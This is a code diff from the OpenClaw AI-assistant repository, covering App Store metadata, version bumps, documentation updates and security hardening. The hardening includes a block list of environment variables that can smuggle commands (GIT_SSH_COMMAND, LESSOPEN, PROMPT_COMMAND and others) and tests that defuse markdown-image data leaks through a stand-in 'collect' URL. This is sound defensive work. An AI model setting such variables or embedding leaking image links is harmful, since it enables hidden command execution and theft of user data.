`https://openclaw.ai/privacy`. +- If app lookup fails in `deliver`, set one of: + - `ASC_APP_IDENTIFIER` (bundle ID) + - `ASC_APP_ID` (numeric App Store Connect app ID, e.g. from `/apps//...` URL) +- For first app versions, include review contact files under `metadata/review_information/`: + - `first_name.txt` + - `last_name.txt` + - `email_address.txt` + - `phone_number.txt` (E.164-ish, e.g. `+1 415 555 0100`) diff --git a/apps/ios/fastlane/metadata/en-US/description.txt b/apps/ios/fastlane/metadata/en-US/description.txt new file mode 100644 index 00000000000..466de5d8fa1 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/description.txt @@ -0,0 +1,18 @@ +OpenClaw is a personal AI assistant you run on your own devices. + +Pair this iPhone app with your OpenClaw Gateway to connect your phone as a secure node for voice, camera, and device automation. + +What you can do: +- Chat with your assistant from iPhone +- Use voice wake and push-to-talk +- Capture photos and short clips on request +- Record screen snippets for troubleshooting and workflows +- Share text, links, and media directly from iOS into OpenClaw +- Run location-aware and device-aware automations + +OpenClaw is local-first: you control your gateway, keys, and configuration. + +Getting started: +1) Set up your OpenClaw Gateway +2) Open the iOS app and pair with your gateway +3) Start using commands and automations from your phone diff --git a/apps/ios/fastlane/metadata/en-US/keywords.txt b/apps/ios/fastlane/metadata/en-US/keywords.txt new file mode 100644 index 00000000000..b524ae74493 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/keywords.txt @@ -0,0 +1 @@ +openclaw,ai assistant,local ai,voice assistant,automation,gateway,chat,agent,node diff --git a/apps/ios/fastlane/metadata/en-US/marketing_url.txt b/apps/ios/fastlane/metadata/en-US/marketing_url.txt new file mode 100644 index 00000000000..5760de806f8 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/marketing_url.txt @@ -0,0 +1 @@ +https://openclaw.ai diff --git a/apps/ios/fastlane/metadata/en-US/name.txt b/apps/ios/fastlane/metadata/en-US/name.txt new file mode 100644 index 00000000000..12bd1d59377 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/name.txt @@ -0,0 +1 @@ +OpenClaw - iOS Client diff --git a/apps/ios/fastlane/metadata/en-US/privacy_url.txt b/apps/ios/fastlane/metadata/en-US/privacy_url.txt new file mode 100644 index 00000000000..44207346064 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/privacy_url.txt @@ -0,0 +1 @@ +https://openclaw.ai/privacy diff --git a/apps/ios/fastlane/metadata/en-US/promotional_text.txt b/apps/ios/fastlane/metadata/en-US/promotional_text.txt new file mode 100644 index 00000000000..16beaa2a39b --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/promotional_text.txt @@ -0,0 +1 @@ +Run OpenClaw from your iPhone: pair with your own gateway, trigger automations, and use voice, camera, and share actions. diff --git a/apps/ios/fastlane/metadata/en-US/release_notes.txt b/apps/ios/fastlane/metadata/en-US/release_notes.txt new file mode 100644 index 00000000000..53059d9cbc3 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/release_notes.txt @@ -0,0 +1 @@ +First App Store release of OpenClaw for iPhone. Pair with your OpenClaw Gateway to use chat, voice, sharing, and device actions from iOS. diff --git a/apps/ios/fastlane/metadata/en-US/subtitle.txt b/apps/ios/fastlane/metadata/en-US/subtitle.txt new file mode 100644 index 00000000000..f0796fb024f --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/subtitle.txt @@ -0,0 +1 @@ +Personal AI on your devices diff --git a/apps/ios/fastlane/metadata/en-US/support_url.txt b/apps/ios/fastlane/metadata/en-US/support_url.txt new file mode 100644 index 00000000000..d9b96750003 --- /dev/null +++ b/apps/ios/fastlane/metadata/en-US/support_url.txt @@ -0,0 +1 @@ +https://docs.openclaw.ai/platforms/ios diff --git a/apps/ios/fastlane/metadata/review_information/email_address.txt b/apps/ios/fastlane/metadata/review_information/email_address.txt new file mode 100644 index 00000000000..5dbbc8730ff --- /dev/null +++ b/apps/ios/fastlane/metadata/review_information/email_address.txt @@ -0,0 +1 @@ +support@openclaw.ai diff --git a/apps/ios/fastlane/metadata/review_information/first_name.txt b/apps/ios/fastlane/metadata/review_information/first_name.txt new file mode 100644 index 00000000000..9a5b1392dc5 --- /dev/null +++ b/apps/ios/fastlane/metadata/review_information/first_name.txt @@ -0,0 +1 @@ +OpenClaw diff --git a/apps/ios/fastlane/metadata/review_information/last_name.txt b/apps/ios/fastlane/metadata/review_information/last_name.txt new file mode 100644 index 00000000000..ce1e10deda0 --- /dev/null +++ b/apps/ios/fastlane/metadata/review_information/last_name.txt @@ -0,0 +1 @@ +Team diff --git a/apps/ios/fastlane/metadata/review_information/notes.txt b/apps/ios/fastlane/metadata/review_information/notes.txt new file mode 100644 index 00000000000..22a99b207ce --- /dev/null +++ b/apps/ios/fastlane/metadata/review_information/notes.txt @@ -0,0 +1 @@ +OpenClaw iOS client for gateway-connected workflows. Reviewers can follow the standard onboarding and pairing flow in-app. diff --git a/apps/ios/fastlane/metadata/review_information/phone_number.txt b/apps/ios/fastlane/metadata/review_information/phone_number.txt new file mode 100644 index 00000000000..4d31de695e8 --- /dev/null +++ b/apps/ios/fastlane/metadata/review_information/phone_number.txt @@ -0,0 +1 @@ ++1 415 555 0100 diff --git a/apps/ios/project.yml b/apps/ios/project.yml index 3cc4444ce09..a0a7a500998 100644 --- a/apps/ios/project.yml +++ b/apps/ios/project.yml @@ -98,8 +98,8 @@ targets: - CFBundleURLName: ai.openclaw.ios CFBundleURLSchemes: - openclaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" UILaunchScreen: {} UIApplicationSceneManifest: UIApplicationSupportsMultipleScenes: false @@ -156,8 +156,8 @@ targets: path: ShareExtension/Info.plist properties: CFBundleDisplayName: OpenClaw Share - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSExtension: NSExtensionPointIdentifier: com.apple.share-services NSExtensionPrincipalClass: "$(PRODUCT_MODULE_NAME).ShareViewController" @@ -193,8 +193,8 @@ targets: path: ActivityWidget/Info.plist properties: CFBundleDisplayName: OpenClaw Activity - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSSupportsLiveActivities: true NSExtension: NSExtensionPointIdentifier: com.apple.widgetkit-extension @@ -219,8 +219,8 @@ targets: path: WatchApp/Info.plist properties: CFBundleDisplayName: OpenClaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" WKCompanionAppBundleIdentifier: "$(OPENCLAW_APP_BUNDLE_ID)" WKWatchKitApp: true @@ -244,8 +244,8 @@ targets: path: WatchExtension/Info.plist properties: CFBundleDisplayName: OpenClaw - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" NSExtension: NSExtensionAttributes: WKAppBundleIdentifier: "$(OPENCLAW_WATCH_APP_BUNDLE_ID)" @@ -279,5 +279,5 @@ targets: path: Tests/Info.plist properties: CFBundleDisplayName: OpenClawTests - CFBundleShortVersionString: "2026.3.2" - CFBundleVersion: "20260301" + CFBundleShortVersionString: "2026.3.7" + CFBundleVersion: "20260307" diff --git a/apps/ios/screenshots/session-2026-03-07/canvas-cool.png b/apps/ios/screenshots/session-2026-03-07/canvas-cool.png new file mode 100644 index 00000000000..965e3cb0fa1 Binary files /dev/null and b/apps/ios/screenshots/session-2026-03-07/canvas-cool.png differ diff --git a/apps/ios/screenshots/session-2026-03-07/onboarding.png b/apps/ios/screenshots/session-2026-03-07/onboarding.png new file mode 100644 index 00000000000..5a440308501 Binary files /dev/null and b/apps/ios/screenshots/session-2026-03-07/onboarding.png differ diff --git a/apps/ios/screenshots/session-2026-03-07/settings.png b/apps/ios/screenshots/session-2026-03-07/settings.png new file mode 100644 index 00000000000..8870e525948 Binary files /dev/null and b/apps/ios/screenshots/session-2026-03-07/settings.png differ diff --git a/apps/ios/screenshots/session-2026-03-07/talk-mode.png b/apps/ios/screenshots/session-2026-03-07/talk-mode.png new file mode 100644 index 00000000000..d49f49cba12 Binary files /dev/null and b/apps/ios/screenshots/session-2026-03-07/talk-mode.png differ diff --git a/apps/macos/Sources/OpenClaw/GatewayEndpointStore.swift b/apps/macos/Sources/OpenClaw/GatewayEndpointStore.swift index 141b7c43685..7105f60cb80 100644 --- a/apps/macos/Sources/OpenClaw/GatewayEndpointStore.swift +++ b/apps/macos/Sources/OpenClaw/GatewayEndpointStore.swift @@ -661,18 +661,20 @@ extension GatewayEndpointStore { components.path = "/" } - var queryItems: [URLQueryItem] = [] + var fragmentItems: [URLQueryItem] = [] if let token = config.token?.trimmingCharacters(in: .whitespacesAndNewlines), !token.isEmpty { - queryItems.append(URLQueryItem(name: "token", value: token)) + fragmentItems.append(URLQueryItem(name: "token", value: token)) } - if let password = config.password?.trimmingCharacters(in: .whitespacesAndNewlines), - !password.isEmpty - { - queryItems.append(URLQueryItem(name: "password", value: password)) + components.queryItems = nil + if fragmentItems.isEmpty { + components.fragment = nil + } else { + var fragment = URLComponents() + fragment.queryItems = fragmentItems + components.fragment = fragment.percentEncodedQuery } - components.queryItems = queryItems.isEmpty ? nil : queryItems guard let url = components.url else { throw NSError(domain: "Dashboard", code: 2, userInfo: [ NSLocalizedDescriptionKey: "Failed to build dashboard URL", diff --git a/apps/macos/Sources/OpenClaw/HostEnvSanitizer.swift b/apps/macos/Sources/OpenClaw/HostEnvSanitizer.swift index e1c4f5b8531..d5d27a212f5 100644 --- a/apps/macos/Sources/OpenClaw/HostEnvSanitizer.swift +++ b/apps/macos/Sources/OpenClaw/HostEnvSanitizer.swift @@ -6,6 +6,7 @@ enum HostEnvSanitizer { private static let blockedKeys = HostEnvSecurityPolicy.blockedKeys private static let blockedPrefixes = HostEnvSecurityPolicy.blockedPrefixes private static let blockedOverrideKeys = HostEnvSecurityPolicy.blockedOverrideKeys + private static let blockedOverridePrefixes = HostEnvSecurityPolicy.blockedOverridePrefixes private static let shellWrapperAllowedOverrideKeys: Set = [ "TERM", "LANG", @@ -22,6 +23,11 @@ enum HostEnvSanitizer { return self.blockedPrefixes.contains(where: { upperKey.hasPrefix($0) }) } + private static func isBlockedOverride(_ upperKey: String) -> Bool { + if self.blockedOverrideKeys.contains(upperKey) { return true } + return self.blockedOverridePrefixes.contains(where: { upperKey.hasPrefix($0) }) + } + private static func filterOverridesForShellWrapper(_ overrides: [String: String]?) -> [String: String]? { guard let overrides else { return nil } var filtered: [String: String] = [:] @@ -57,7 +63,7 @@ enum HostEnvSanitizer { // PATH is part of the security boundary (command resolution + safe-bin checks). Never // allow request-scoped PATH overrides from agents/gateways. if upper == "PATH" { continue } - if self.blockedOverrideKeys.contains(upper) { continue } + if self.isBlockedOverride(upper) { continue } if self.isBlocked(upper) { continue } merged[key] = value } diff --git a/apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift b/apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift index b126d03de21..2981a60bbf7 100644 --- a/apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift +++ b/apps/macos/Sources/OpenClaw/HostEnvSecurityPolicy.generated.swift @@ -27,7 +27,35 @@ enum HostEnvSecurityPolicy { static let blockedOverrideKeys: Set = [ "HOME", - "ZDOTDIR" + "ZDOTDIR", + "GIT_SSH_COMMAND", + "GIT_SSH", + "GIT_PROXY_COMMAND", + "GIT_ASKPASS", + "SSH_ASKPASS", + "LESSOPEN", + "LESSCLOSE", + "PAGER", + "MANPAGER", + "GIT_PAGER", + "EDITOR", + "VISUAL", + "FCEDIT", + "SUDO_EDITOR", + "PROMPT_COMMAND", + "HISTFILE", + "PERL5DB", + "PERL5DBCMD", + "OPENSSL_CONF", + "OPENSSL_ENGINES", + "PYTHONSTARTUP", + "WGETRC", + "CURL_HOME" + ] + + static let blockedOverridePrefixes: [String] = [ + "GIT_CONFIG_", + "NPM_CONFIG_" ] static let blockedPrefixes: [String] = [ diff --git a/apps/macos/Sources/OpenClaw/Resources/Info.plist b/apps/macos/Sources/OpenClaw/Resources/Info.plist index 8ca28de8bd6..42be1e819be 100644 --- a/apps/macos/Sources/OpenClaw/Resources/Info.plist +++ b/apps/macos/Sources/OpenClaw/Resources/Info.plist @@ -15,9 +15,9 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2026.3.2 + 2026.3.7 CFBundleVersion - 202603010 + 202603070 CFBundleIconFile OpenClaw CFBundleURLTypes diff --git a/apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift b/apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift index 3d7796879f6..7aff5f3970b 100644 --- a/apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/GatewayEndpointStoreTests.swift @@ -216,6 +216,20 @@ import Testing #expect(url.absoluteString == "https://gateway.example:443/remote-ui/") } + @Test func dashboardURLUsesFragmentTokenAndOmitsPassword() throws { + let config: GatewayConnection.Config = try ( + url: #require(URL(string: "ws://127.0.0.1:18789")), + token: "abc123", + password: "sekret") + + let url = try GatewayEndpointStore.dashboardURL( + for: config, + mode: .local, + localBasePath: "/control") + #expect(url.absoluteString == "http://127.0.0.1:18789/control/#token=abc123") + #expect(url.query == nil) + } + @Test func normalizeGatewayUrlAddsDefaultPortForLoopbackWs() { let url = GatewayRemoteConfig.normalizeGatewayUrl("ws://127.0.0.1") #expect(url?.port == 18789) diff --git a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift index 0b012586672..f03448140dc 100644 --- a/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift +++ b/apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift @@ -13,6 +13,8 @@ enum ChatMarkdownPreprocessor { "Chat history since last reply (untrusted, for context):", ] + private static let markdownImagePattern = #"!\[([^\]]*)\]\(([^)]+)\)"# + struct InlineImage: Identifiable { let id = UUID() let label: String @@ -27,8 +29,7 @@ enum ChatMarkdownPreprocessor { static func preprocess(markdown raw: String) -> Result { let withoutContextBlocks = self.stripInboundContextBlocks(raw) let withoutTimestamps = self.stripPrefixedTimestamps(withoutContextBlocks) - let pattern = #"!\[([^\]]*)\]\((data:image\/[^;]+;base64,[^)]+)\)"# - guard let re = try? NSRegularExpression(pattern: pattern) else { + guard let re = try? NSRegularExpression(pattern: self.markdownImagePattern) else { return Result(cleaned: self.normalize(withoutTimestamps), images: []) } @@ -39,27 +40,42 @@ enum ChatMarkdownPreprocessor { if matches.isEmpty { return Result(cleaned: self.normalize(withoutTimestamps), images: []) } var images: [InlineImage] = [] - var cleaned = withoutTimestamps + let cleaned = NSMutableString(string: withoutTimestamps) for match in matches.reversed() { guard match.numberOfRanges >= 3 else { continue } let label = ns.substring(with: match.range(at: 1)) - let dataURL = ns.substring(with: match.range(at: 2)) + let source = ns.substring(with: match.range(at: 2)) - let image: OpenClawPlatformImage? = { - guard let comma = dataURL.firstIndex(of: ",") else { return nil } - let b64 = String(dataURL[dataURL.index(after: comma)...]) - guard let data = Data(base64Encoded: b64) else { return nil } - return OpenClawPlatformImage(data: data) - }() - images.append(InlineImage(label: label, image: image)) - - let start = cleaned.index(cleaned.startIndex, offsetBy: match.range.location) - let end = cleaned.index(start, offsetBy: match.range.length) - cleaned.replaceSubrange(start.. InlineImage? { + let trimmed = source.trimmingCharacters(in: .whitespacesAndNewlines) + guard let comma = trimmed.firstIndex(of: ","), + trimmed[.. String { + let trimmed = label.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed.isEmpty ? "image" : trimmed } private static func stripInboundContextBlocks(_ raw: String) -> String { diff --git a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift index 781a325f3cf..576e821c1e8 100644 --- a/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift +++ b/apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift @@ -18,6 +18,39 @@ struct ChatMarkdownPreprocessorTests { #expect(result.images.first?.image != nil) } + @Test func flattensRemoteMarkdownImagesIntoText() { + let base64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIHWP4////GQAJ+wP/2hN8NwAAAABJRU5ErkJggg==" + let markdown = """ + ![Leak](https://example.com/collect?x=1) + + ![Pixel](data:image/png;base64,\(base64)) + """ + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "Leak") + #expect(result.images.count == 1) + #expect(result.images.first?.image != nil) + } + + @Test func usesFallbackTextForUnlabeledRemoteMarkdownImages() { + let markdown = "![](https://example.com/image.png)" + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "image") + #expect(result.images.isEmpty) + } + + @Test func handlesUnicodeBeforeRemoteMarkdownImages() { + let markdown = "🙂![Leak](https://example.com/image.png)" + + let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown) + + #expect(result.cleaned == "🙂Leak") + #expect(result.images.isEmpty) + } + @Test func stripsInboundUntrustedContextBlocks() { let markdown = """ Conversation info (untrusted metadata): diff --git a/docker-setup.sh b/docker-setup.sh index ce5e6a08f3d..205394ff36b 100755 --- a/docker-setup.sh +++ b/docker-setup.sh @@ -200,6 +200,7 @@ export OPENCLAW_BRIDGE_PORT="${OPENCLAW_BRIDGE_PORT:-18790}" export OPENCLAW_GATEWAY_BIND="${OPENCLAW_GATEWAY_BIND:-lan}" export OPENCLAW_IMAGE="$IMAGE_NAME" export OPENCLAW_DOCKER_APT_PACKAGES="${OPENCLAW_DOCKER_APT_PACKAGES:-}" +export OPENCLAW_EXTENSIONS="${OPENCLAW_EXTENSIONS:-}" export OPENCLAW_EXTRA_MOUNTS="$EXTRA_MOUNTS" export OPENCLAW_HOME_VOLUME="$HOME_VOLUME_NAME" export OPENCLAW_ALLOW_INSECURE_PRIVATE_WS="${OPENCLAW_ALLOW_INSECURE_PRIVATE_WS:-}" @@ -378,6 +379,7 @@ upsert_env "$ENV_FILE" \ OPENCLAW_EXTRA_MOUNTS \ OPENCLAW_HOME_VOLUME \ OPENCLAW_DOCKER_APT_PACKAGES \ + OPENCLAW_EXTENSIONS \ OPENCLAW_SANDBOX \ OPENCLAW_DOCKER_SOCKET \ DOCKER_GID \ @@ -388,6 +390,7 @@ if [[ "$IMAGE_NAME" == "openclaw:local" ]]; then echo "==> Building Docker image: $IMAGE_NAME" docker build \ --build-arg "OPENCLAW_DOCKER_APT_PACKAGES=${OPENCLAW_DOCKER_APT_PACKAGES}" \ + --build-arg "OPENCLAW_EXTENSIONS=${OPENCLAW_EXTENSIONS}" \ --build-arg "OPENCLAW_INSTALL_DOCKER_CLI=${OPENCLAW_INSTALL_DOCKER_CLI:-}" \ -t "$IMAGE_NAME" \ -f "$ROOT_DIR/Dockerfile" \ diff --git a/docs/automation/cron-jobs.md b/docs/automation/cron-jobs.md index 1421480a7a0..b0798898910 100644 --- a/docs/automation/cron-jobs.md +++ b/docs/automation/cron-jobs.md @@ -370,6 +370,7 @@ When a job fails, OpenClaw classifies errors as **transient** (retryable) or **p ### Transient errors (retried) - Rate limit (429, too many requests, resource exhausted) +- Provider overload (for example Anthropic `529 overloaded_error`, overload fallback summaries) - Network errors (timeout, ECONNRESET, fetch failed, socket) - Server errors (5xx) - Cloudflare-related errors @@ -407,7 +408,7 @@ Configure `cron.retry` to override these defaults (see [Configuration](/automati retry: { maxAttempts: 3, backoffMs: [60000, 120000, 300000], - retryOn: ["rate_limit", "network", "server_error"], + retryOn: ["rate_limit", "overloaded", "network", "server_error"], }, webhook: "https://example.invalid/legacy", // deprecated fallback for stored notify:true jobs webhookToken: "replace-with-dedicated-webhook-token", // optional bearer token for webhook mode @@ -665,7 +666,7 @@ openclaw system event --mode now --text "Next heartbeat: check battery." - OpenClaw applies exponential retry backoff for recurring jobs after consecutive errors: 30s, 1m, 5m, 15m, then 60m between retries. - Backoff resets automatically after the next successful run. -- One-shot (`at`) jobs retry transient errors (rate limit, network, server_error) up to 3 times with backoff; permanent errors disable immediately. See [Retry policy](/automation/cron-jobs#retry-policy). +- One-shot (`at`) jobs retry transient errors (rate limit, overloaded, network, server_error) up to 3 times with backoff; permanent errors disable immediately. See [Retry policy](/automation/cron-jobs#retry-policy). ### Telegram delivers to the wrong place diff --git a/docs/automation/hooks.md b/docs/automation/hooks.md index d89838f6105..deda79d3db5 100644 --- a/docs/automation/hooks.md +++ b/docs/automation/hooks.md @@ -103,7 +103,12 @@ Hook packs are standard npm packages that export one or more hooks via `openclaw openclaw hooks install ``` -Npm specs are registry-only (package name + optional version/tag). Git/URL/file specs are rejected. +Npm specs are registry-only (package name + optional exact version or dist-tag). +Git/URL/file specs and semver ranges are rejected. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. Example `package.json`: diff --git a/docs/channels/bluebubbles.md b/docs/channels/bluebubbles.md index 8654bb9795d..9c2f0eb6de4 100644 --- a/docs/channels/bluebubbles.md +++ b/docs/channels/bluebubbles.md @@ -283,7 +283,7 @@ Control whether responses are sent as a single message or streamed in blocks: ## Media + limits - Inbound attachments are downloaded and stored in the media cache. -- Media cap via `channels.bluebubbles.mediaMaxMb` (default: 8 MB). +- Media cap via `channels.bluebubbles.mediaMaxMb` for inbound and outbound media (default: 8 MB). - Outbound text is chunked to `channels.bluebubbles.textChunkLimit` (default: 4000 chars). ## Configuration reference @@ -305,7 +305,7 @@ Provider options: - `channels.bluebubbles.blockStreaming`: Enable block streaming (default: `false`; required for streaming replies). - `channels.bluebubbles.textChunkLimit`: Outbound chunk size in chars (default: 4000). - `channels.bluebubbles.chunkMode`: `length` (default) splits only when exceeding `textChunkLimit`; `newline` splits on blank lines (paragraph boundaries) before length chunking. -- `channels.bluebubbles.mediaMaxMb`: Inbound media cap in MB (default: 8). +- `channels.bluebubbles.mediaMaxMb`: Inbound/outbound media cap in MB (default: 8). - `channels.bluebubbles.mediaLocalRoots`: Explicit allowlist of absolute local directories permitted for outbound local media paths. Local path sends are denied by default unless this is configured. Per-account override: `channels.bluebubbles.accounts..mediaLocalRoots`. - `channels.bluebubbles.historyLimit`: Max group messages for context (0 disables). - `channels.bluebubbles.dmHistoryLimit`: DM history limit. diff --git a/docs/channels/discord.md b/docs/channels/discord.md index 86e80430f7b..8266cf4c26e 100644 --- a/docs/channels/discord.md +++ b/docs/channels/discord.md @@ -1194,6 +1194,7 @@ High-signal Discord fields: - delivery: `textChunkLimit`, `chunkMode`, `maxLinesPerMessage` - streaming: `streaming` (legacy alias: `streamMode`), `draftChunk`, `blockStreaming`, `blockStreamingCoalesce` - media/retry: `mediaMaxMb`, `retry` + - `mediaMaxMb` caps outbound Discord uploads (default: `8MB`) - actions: `actions.*` - presence: `activity`, `status`, `activityType`, `activityUrl` - UI: `ui.components.accentColor` diff --git a/docs/channels/telegram.md b/docs/channels/telegram.md index 817ae1d51d4..e50590c8427 100644 --- a/docs/channels/telegram.md +++ b/docs/channels/telegram.md @@ -724,7 +724,7 @@ curl "https://api.telegram.org/bot/getUpdates" - `channels.telegram.textChunkLimit` default is 4000. - `channels.telegram.chunkMode="newline"` prefers paragraph boundaries (blank lines) before length splitting. - - `channels.telegram.mediaMaxMb` (default 5) caps inbound Telegram media download/processing size. + - `channels.telegram.mediaMaxMb` (default 100) caps inbound and outbound Telegram media size. - `channels.telegram.timeoutSeconds` overrides Telegram API client timeout (if unset, grammY default applies). - group context history uses `channels.telegram.historyLimit` or `messages.groupChat.historyLimit` (default 50); `0` disables. - DM history controls: @@ -804,7 +804,7 @@ openclaw message poll --channel telegram --target -1001234567890:topic:42 \ ```yaml channels: telegram: - proxy: socks5://user:pass@proxy-host:1080 + proxy: socks5://:@proxy-host:1080 ``` - Node 22+ defaults to `autoSelectFamily=true` (except WSL2) and `dnsResultOrder=ipv4first`. @@ -873,7 +873,7 @@ Primary reference: - `channels.telegram.chunkMode`: `length` (default) or `newline` to split on blank lines (paragraph boundaries) before length chunking. - `channels.telegram.linkPreview`: toggle link previews for outbound messages (default: true). - `channels.telegram.streaming`: `off | partial | block | progress` (live stream preview; default: `partial`; `progress` maps to `partial`; `block` is legacy preview mode compatibility). In DMs, `partial` uses native `sendMessageDraft` when available. -- `channels.telegram.mediaMaxMb`: inbound Telegram media download/processing cap (MB). +- `channels.telegram.mediaMaxMb`: inbound/outbound Telegram media cap (MB, default: 100). - `channels.telegram.retry`: retry policy for Telegram send helpers (CLI/tools/actions) on recoverable outbound API errors (attempts, minDelayMs, maxDelayMs, jitter). - `channels.telegram.network.autoSelectFamily`: override Node autoSelectFamily (true=enable, false=disable). Defaults to enabled on Node 22+, with WSL2 defaulting to disabled. - `channels.telegram.network.dnsResultOrder`: override DNS result order (`ipv4first` or `verbatim`). Defaults to `ipv4first` on Node 22+. diff --git a/docs/channels/whatsapp.md b/docs/channels/whatsapp.md index d92dfda9c75..cad9fe77ee3 100644 --- a/docs/channels/whatsapp.md +++ b/docs/channels/whatsapp.md @@ -308,7 +308,8 @@ When the linked self number is also present in `allowFrom`, WhatsApp self-chat s - inbound media save cap: `channels.whatsapp.mediaMaxMb` (default `50`) - - outbound media cap for auto-replies: `agents.defaults.mediaMaxMb` (default `5MB`) + - outbound media send cap: `channels.whatsapp.mediaMaxMb` (default `50`) + - per-account overrides use `channels.whatsapp.accounts..mediaMaxMb` - images are auto-optimized (resize/quality sweep) to fit limits - on media send failure, first-item fallback sends text warning instead of dropping the response silently diff --git a/docs/cli/agent.md b/docs/cli/agent.md index 0712a16661b..93c8d04b41a 100644 --- a/docs/cli/agent.md +++ b/docs/cli/agent.md @@ -22,3 +22,7 @@ openclaw agent --agent ops --message "Summarize logs" openclaw agent --session-id 1234 --message "Summarize inbox" --thinking medium openclaw agent --agent ops --message "Generate report" --deliver --reply-channel slack --reply-to "#reports" ``` + +## Notes + +- When this command triggers `models.json` regeneration, SecretRef-managed provider credentials are persisted as non-secret markers (for example env var names or `secretref-managed`), not resolved secret plaintext. diff --git a/docs/cli/hooks.md b/docs/cli/hooks.md index 6dadb26970e..8aaaa6fd63d 100644 --- a/docs/cli/hooks.md +++ b/docs/cli/hooks.md @@ -193,8 +193,13 @@ openclaw hooks install --pin Install a hook pack from a local folder/archive or npm. -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. Dependency installs run with `--ignore-scripts` for safety. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. Dependency +installs run with `--ignore-scripts` for safety. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version. **What it does:** diff --git a/docs/cli/memory.md b/docs/cli/memory.md index 7493df50382..e6660556049 100644 --- a/docs/cli/memory.md +++ b/docs/cli/memory.md @@ -21,33 +21,45 @@ Related: ```bash openclaw memory status openclaw memory status --deep +openclaw memory index --force +openclaw memory search "meeting notes" +openclaw memory search --query "deployment" --max-results 20 +openclaw memory status --json openclaw memory status --deep --index openclaw memory status --deep --index --verbose -openclaw memory index -openclaw memory index --verbose -openclaw memory search "release checklist" -openclaw memory search --query "release checklist" openclaw memory status --agent main openclaw memory index --agent main --verbose ``` ## Options -Common: +`memory status` and `memory index`: -- `--agent `: scope to a single agent (default: all configured agents). +- `--agent `: scope to a single agent. Without it, these commands run for each configured agent; if no agent list is configured, they fall back to the default agent. - `--verbose`: emit detailed logs during probes and indexing. +`memory status`: + +- `--deep`: probe vector + embedding availability. +- `--index`: run a reindex if the store is dirty (implies `--deep`). +- `--json`: print JSON output. + +`memory index`: + +- `--force`: force a full reindex. + `memory search`: - Query input: pass either positional `[query]` or `--query `. - If both are provided, `--query` wins. - If neither is provided, the command exits with an error. +- `--agent `: scope to a single agent (default: the default agent). +- `--max-results `: limit the number of results returned. +- `--min-score `: filter out low-score matches. +- `--json`: print JSON results. Notes: -- `memory status --deep` probes vector + embedding availability. -- `memory status --deep --index` runs a reindex if the store is dirty. - `memory index --verbose` prints per-phase details (provider, model, sources, batch activity). - `memory status` includes any extra paths configured via `memorySearch.extraPaths`. - If effectively active memory remote API key fields are configured as SecretRefs, the command resolves those values from the active gateway snapshot. If gateway is unavailable, the command fails fast. diff --git a/docs/cli/models.md b/docs/cli/models.md index 700b562c353..e023784cc5e 100644 --- a/docs/cli/models.md +++ b/docs/cli/models.md @@ -38,6 +38,7 @@ Notes: - `models set ` accepts `provider/model` or an alias. - Model refs are parsed by splitting on the **first** `/`. If the model ID includes `/` (OpenRouter-style), include the provider prefix (example: `openrouter/moonshotai/kimi-k2`). - If you omit the provider, OpenClaw treats the input as an alias or a model for the **default provider** (only works when there is no `/` in the model ID). +- `models status` may show `marker()` in auth output for non-secret placeholders (for example `OPENAI_API_KEY`, `secretref-managed`, `minimax-oauth`, `qwen-oauth`, `ollama-local`) instead of masking them as secrets. ### `models status` diff --git a/docs/cli/plugins.md b/docs/cli/plugins.md index 0934a0289c6..0b054f5a4aa 100644 --- a/docs/cli/plugins.md +++ b/docs/cli/plugins.md @@ 